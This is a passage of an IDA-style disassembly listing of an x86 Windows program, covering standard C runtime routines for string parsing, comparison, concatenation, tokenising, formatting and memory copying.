loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB2A8, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26707B6h
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2670E77h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2F4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2F4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
